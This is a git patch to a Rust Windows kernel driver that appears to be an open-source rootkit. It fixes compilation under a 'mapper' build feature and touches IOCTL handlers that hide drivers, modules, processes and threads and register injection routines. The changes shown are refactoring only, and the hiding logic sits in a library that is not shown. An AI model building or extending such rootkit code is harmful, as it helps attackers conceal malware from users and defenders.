From 68dd3a350642ea070dd3142652ac59a95399904e Mon Sep 17 00:00:00 2001 From: joaoviictorti Date: Sat, 9 Nov 2024 21:40:54 -0300 Subject: [PATCH] fix: Fixing error when using feature mapper --- driver/src/lib.rs | 9 +++++---- driver/src/modules/driver.rs | 3 ++- driver/src/modules/mod.rs | 20 ++++++++++---------- driver/src/modules/module.rs | 9 +++++---- driver/src/modules/process.rs | 7 +++---- driver/src/modules/thread.rs | 8 +++----- driver/src/utils/ioctls.rs | 16 +++------------- 7 files changed, 31 insertions(+), 41 deletions(-) diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 6de8d18..9ace181 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -9,10 +9,10 @@ use { utils::uni, log::{error, info}, kernel_log::KernelLogger, - shadowx::error::ShadowError, + shadowx::error::ShadowError, + core::sync::atomic::Ordering, crate::utils::ioctls::IoctlManager, wdk_sys::{*, ntddk::*, _MODE::KernelMode}, - core::{ptr::null_mut, sync::atomic::Ordering}, }; #[cfg(not(feature = "mapper"))] @@ -71,6 +71,7 @@ pub unsafe extern "system" fn driver_entry( return status; } + #[cfg(not(feature = "mapper"))] shadow_entry(driver, registry_path) } @@ -299,9 +300,9 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS Some(registry_callback), &mut altitude, driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void, - null_mut(), + core::ptr::null_mut(), core::ptr::addr_of_mut!(CALLBACK_REGISTRY), - null_mut(), + core::ptr::null_mut(), ); if !NT_SUCCESS(status) { diff --git a/driver/src/modules/driver.rs b/driver/src/modules/driver.rs index c5dc3b6..10cfc27 100644 --- a/driver/src/modules/driver.rs +++ b/driver/src/modules/driver.rs @@ -17,7 +17,6 @@ use { ioctls::IoctlManager }, common::{ - vars::MAX_DRIVER, structs::{DriverInfo, TargetDriver}, ioctls::{ ENUMERATE_DRIVER, @@ -26,6 +25,8 @@ use { }, }; +const MAX_DRIVER: usize = 100; + /// Static structure to store hidden driver information. /// /// This structure keeps track of the drivers that have been hidden, including their diff --git a/driver/src/modules/mod.rs b/driver/src/modules/mod.rs index b4afc00..be6b64a 100644 --- a/driver/src/modules/mod.rs +++ b/driver/src/modules/mod.rs @@ -1,20 +1,20 @@ #[cfg(not(feature = "mapper"))] -pub mod registry; +mod registry; #[cfg(not(feature = "mapper"))] pub use registry::*; -pub mod misc; -pub mod module; -pub mod port; -pub mod injection; -pub mod callback; -pub mod driver; -pub mod process; -pub mod thread; +mod misc; +mod port; +mod module; +mod injection; +mod callback; +mod driver; +mod process; +mod thread; pub use misc::*; -pub use module::*; pub use port::*; +pub use module::*; pub use injection::*; pub use callback::*; pub use driver::*; diff --git a/driver/src/modules/module.rs b/driver/src/modules/module.rs index 7e4b269..701ccff 100644 --- a/driver/src/modules/module.rs +++ b/driver/src/modules/module.rs @@ -8,8 +8,9 @@ use { use { crate::utils::{ + get_input_buffer, + get_output_buffer, ioctls::IoctlManager, - get_input_buffer, get_output_buffer }, common::{ ioctls::{ENUMERATE_MODULE, HIDE_MODULE}, @@ -68,12 +69,12 @@ pub fn register_module_ioctls(ioctls: &mut IoctlManager) { unsafe { // Get the target module information from the input buffer. let target = get_input_buffer::(stack)?; - + // Hide the module based on the PID and module name. - let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name)?; + let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?; // Update IoStatus to indicate success. - (*irp).IoStatus.Information = size_of::() as u64; + (*irp).IoStatus.Information = size_of::() as u64; Ok(status) } })); diff --git a/driver/src/modules/process.rs b/driver/src/modules/process.rs index 5f3aed1..048ae19 100644 --- a/driver/src/modules/process.rs +++ b/driver/src/modules/process.rs @@ -1,10 +1,7 @@ use { wdk_sys::*, + alloc::{boxed::Box, string::ToString}, core::sync::atomic::{AtomicPtr, Ordering}, - alloc::{ - boxed::Box, - string::ToString - }, shadowx::{ Process, error::ShadowError, PROCESS_INFO_HIDE, @@ -140,6 +137,8 @@ pub fn register_process_ioctls(ioctls: &mut IoctlManager) { Options::Hide => Process::enumerate_hide_processes(), #[cfg(not(feature = "mapper"))] Options::Protection => shadowx::ProcessCallback::enumerate_protection_processes(), + #[cfg(feature = "mapper")] + _ => alloc::vec::Vec::new(), }; // Fill the output buffer with the enumerated processes' information. diff --git a/driver/src/modules/thread.rs b/driver/src/modules/thread.rs index b2e2b51..d0ae14e 100644 --- a/driver/src/modules/thread.rs +++ b/driver/src/modules/thread.rs @@ -2,11 +2,7 @@ use { alloc::boxed::Box, core::sync::atomic::{AtomicPtr, Ordering}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - shadowx::{ - Thread, - THREAD_INFO_HIDE, - error::ShadowError, - }, + shadowx::{Thread, THREAD_INFO_HIDE, error::ShadowError}, }; use { @@ -85,6 +81,8 @@ pub fn register_thread_ioctls(ioctls: &mut IoctlManager) { Options::Hide => Thread::enumerate_hide_threads(), #[cfg(not(feature = "mapper"))] Options::Protection => shadowx::ThreadCallback::enumerate_protection_thread(), + #[cfg(feature = "mapper")] + _ => alloc::vec::Vec::new(), }; // Fill the output buffer with the enumerated threads' information. diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index 27b53cf..3dc4f55 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,18 +1,8 @@ use { + crate::modules::*, alloc::boxed::Box, - hashbrown::HashMap, shadowx::error::ShadowError, wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}, - crate::modules::{ - register_thread_ioctls, - register_process_ioctls, - register_callback_ioctls, - register_driver_ioctls, - register_injection_ioctls, - register_misc_ioctls, - register_module_ioctls, - register_port_ioctls, - }, }; /// Type alias for an IOCTL handler function. @@ -32,7 +22,7 @@ use { pub type IoctlHandler = Box Result + Send + Sync>; pub struct IoctlManager { - handlers: HashMap, + handlers: hashbrown::HashMap, } impl IoctlManager { @@ -71,7 +61,7 @@ impl Default for IoctlManager { /// Creates a new IoctlManager with an empty handler map. fn default() -> Self { Self { - handlers: HashMap::new(), + handlers: hashbrown::HashMap::new(), } } }